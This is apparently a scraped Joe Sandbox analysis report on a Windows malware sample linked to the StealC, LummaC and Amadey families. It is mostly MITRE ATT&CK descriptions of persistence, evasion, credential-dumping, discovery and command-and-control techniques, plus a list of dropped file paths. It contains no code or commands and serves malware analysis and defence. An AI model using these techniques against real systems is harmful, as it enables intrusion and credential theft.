Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GKAQCOVK40X0NN7A.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe

C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe

C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre